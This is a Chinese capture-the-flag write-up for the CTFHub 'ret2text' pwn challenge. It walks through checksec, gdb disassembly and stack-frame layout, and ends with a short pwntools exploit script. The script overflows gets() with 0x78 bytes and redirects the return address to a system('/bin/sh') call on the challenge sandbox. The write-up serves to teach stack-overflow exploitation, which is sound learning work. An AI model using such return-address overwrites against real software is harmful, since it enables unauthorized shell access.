ret2text

点击此处获得更好的阅读体验


本WP来自szsecurity原创投稿

题目考点

  • gdb 的基本使用

  • 对函数调用栈的理解

  • pwntools 工具的基本用法

解题过程

由于笔者也是 pwn 新手,所以本文会尽可能详细的介绍整个原理。

配置好基本环境

  • 安装gdb:通过apt-get install build-essential安装基本的编译环境,都会带入gdb

  • 安装peda:这是个python程序,对gdb功能进行了增强,例如带入了 checksec 程序,用来检查文件信息

先了解文件基本信息

下载题目附件,是一个zip压缩包,解压后查看基本信息:

1
2
giantbranch@ubuntu:~/Desktop$ file ./pwn
./pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9dc32140f0e317f9e6a59b9a226a5123e34ace21, not stripped

确认是一个64位的elf文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
giantbranch@ubuntu:~/Desktop$ gdb
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
gdb-peda$ checksec ./pwn
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

所有安全措施 CANARY/FORTIFY/NX/PIE 都关闭了,说明该题不需要复杂的绕过操作。接下来,把文件丢到IDA中,先看看 main 函数的源代码:

只是简单的输入和输出,并没看到跟 flag 相关的信息。继续看,发现还有个 secure 函数

函数中调用了 system('/bin/sh')

所以猜测获取 flag 是通过执行 system 获得 shell,然后再执行命令。

思路梳理-1

从 IDA 中可以看出,pwn 程序只有这两个用户函数,其他的都是库函数。因此答案就在这两个函数中。停下来想想我们已知的内容:

  • main 函数调用了 gets(),且未限制长度,存在栈溢出,是解题的入口

  • secure 函数调用了 system('bin/sh'),是解题的出口

栈帧结构复习

看过《0day安全:软件漏洞分析技术(第二版)》第二章的同学对函数调用栈应该还有印象,这里复习一下。

下面这段代码:

在执行的时候,栈帧结构如图所示:

将参数带入,再进一步细看:

可以看到,main 函数调用 func_A 时,栈帧发生了以下变化:

  • 将下一条语句的地址,也就是返回地址,压栈。

  • 将main自己的ebp压栈

  • 再将 func_A 的局部变量压栈

对应到本题,可以猜测 main 函数的栈帧应该是这样的:

思路梳理-2

  1. 局部变量 s 是用户可以通过 gets() 输入的,只要达到特定的长度 L,就能覆盖掉黄色的返回地址

  2. 返回地址,也就是 EIP 指向 system('/bin/sh') 所在语句对应的内存地址就能获得shell

对此,需要获取两个关键值:

  1. 要填充的数据长度L: 要覆盖掉 EBP

  2. system('/bin/sh') 调用语句的内存地址

通过动态调试,就能获取到以上数据。具体步骤如下:

第一步:利用反汇编,查看变量的位置,为 [rbp-0x70]。由于是64位系统,要覆盖掉ebp,就要+8字节。因此 L = 0x70 + 8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
gdb-peda$ file ./pwn
Reading symbols from ./pwn...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x00000000004007c7 <+0>: push rbp
0x00000000004007c8 <+1>: mov rbp,rsp
0x00000000004007cb <+4>: sub rsp,0x70
0x00000000004007cf <+8>: mov rax,QWORD PTR [rip+0x20089a] # 0x601070 <stdout@@GLIBC_2.2.5>
0x00000000004007d6 <+15>: mov ecx,0x0
0x00000000004007db <+20>: mov edx,0x2
0x00000000004007e0 <+25>: mov esi,0x0
0x00000000004007e5 <+30>: mov rdi,rax
0x00000000004007e8 <+33>: call 0x400660 <setvbuf@plt>
0x00000000004007ed <+38>: mov rax,QWORD PTR [rip+0x20088c] # 0x601080 <stdin@@GLIBC_2.2.5>
0x00000000004007f4 <+45>: mov ecx,0x0
0x00000000004007f9 <+50>: mov edx,0x1
0x00000000004007fe <+55>: mov esi,0x0
0x0000000000400803 <+60>: mov rdi,rax
0x0000000000400806 <+63>: call 0x400660 <setvbuf@plt>
0x000000000040080b <+68>: lea rdi,[rip+0xc6] # 0x4008d8
0x0000000000400812 <+75>: call 0x400610 <puts@plt>
0x0000000000400817 <+80>: lea rax,[rbp-0x70]
0x000000000040081b <+84>: mov rdi,rax
0x000000000040081e <+87>: mov eax,0x0
0x0000000000400823 <+92>: call 0x400650 <gets@plt>
0x0000000000400828 <+97>: lea rdi,[rip+0xd4] # 0x400903
0x000000000040082f <+104>: call 0x400610 <puts@plt>
0x0000000000400834 <+109>: mov eax,0x0
0x0000000000400839 <+114>: leave
0x000000000040083a <+115>: ret
End of assembler dump.

第二步:还是用反汇编,获取到system函数的地址。由于要完整调用,所以取lea指令的位置:0x00000000004007b8,也就是0x4007b8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ disassemble secure 
Dump of assembler code for function secure:
0x0000000000400777 <+0>: push rbp
0x0000000000400778 <+1>: mov rbp,rsp
0x000000000040077b <+4>: sub rsp,0x10
0x000000000040077f <+8>: mov edi,0x0
0x0000000000400784 <+13>: call 0x400640 <time@plt>
0x0000000000400789 <+18>: mov edi,eax
0x000000000040078b <+20>: call 0x400630 <srand@plt>
0x0000000000400790 <+25>: call 0x400680 <rand@plt>
0x0000000000400795 <+30>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400798 <+33>: lea rax,[rbp-0x8]
0x000000000040079c <+37>: mov rsi,rax
0x000000000040079f <+40>: lea rdi,[rip+0x122] # 0x4008c8
0x00000000004007a6 <+47>: mov eax,0x0
0x00000000004007ab <+52>: call 0x400670 <__isoc99_scanf@plt>
0x00000000004007b0 <+57>: mov eax,DWORD PTR [rbp-0x8]
0x00000000004007b3 <+60>: cmp DWORD PTR [rbp-0x4],eax
0x00000000004007b6 <+63>: jne 0x4007c4 <secure+77>
0x00000000004007b8 <+65>: lea rdi,[rip+0x10c] # 0x4008cb
0x00000000004007bf <+72>: call 0x400620 <system@plt>
0x00000000004007c4 <+77>: nop
0x00000000004007c5 <+78>: leave
0x00000000004007c6 <+79>: ret
End of assembler dump.

编写 exp

得到两个关键值之后,就可以写出利用代码了。

1
2
3
4
5
6
7
8
from pwn import *
host = 'challenge-6d9543332f6f24b5.sandbox.ctfhub.com'
port = 33698
#p = process("./pwn")
p = connect(host, port)
payload = 'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()

获取flag

写在最后

在学习 ret2text 时,经过一番网络搜索,先后看了近10篇writeup,发现很多都是抄 ctf wiki 里面的例子,不仅没有过程,也说不清楚原理。

最后终于找到了一篇靠谱的文章,链接在此

通过源代码、编译、逆向,一步步进行介绍,这种方式更容易从本质上掌握知识点。后续个人 pwn 的学习也将采取这种方式。以上,希望对大家有帮助。